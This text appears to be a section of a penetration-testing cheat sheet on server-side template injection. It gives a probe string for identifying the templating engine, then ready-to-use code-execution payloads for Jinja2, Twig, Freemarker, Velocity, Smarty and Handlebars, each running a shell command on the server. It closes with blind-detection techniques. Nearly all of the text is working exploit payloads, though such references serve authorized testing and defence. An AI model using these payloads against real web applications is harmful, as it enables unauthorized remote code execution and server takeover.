2. Server-Side Template Injection (SSTI)

Identifying SSTI:

• Test String: {{<%[%'"}}\. → Identify templating engine

Exploiting SSTI by Templating Engine:

Jinja2 (Python)

{{config.items()[4][1].__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP)

{{system('id')}}

Freemarker (Java)

${new java.lang.ProcessBuilder("id").start()}

Velocity (Java)

#set($e="e")#set($x=$e.class.forName("java.lang.Runtime").getRuntime().exec("id"))$x

Smarty (PHP)

{${system('id')}}

Handlebars (JavaScript)

{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}

Blind SSTI:

• Timing-based detection:

  {{ ''.__class__.__mro__[1].__subclasses__() }}

• Out-of-Band SSTI Detection (e.g., Burp Collaborator, interacting with external DNS services)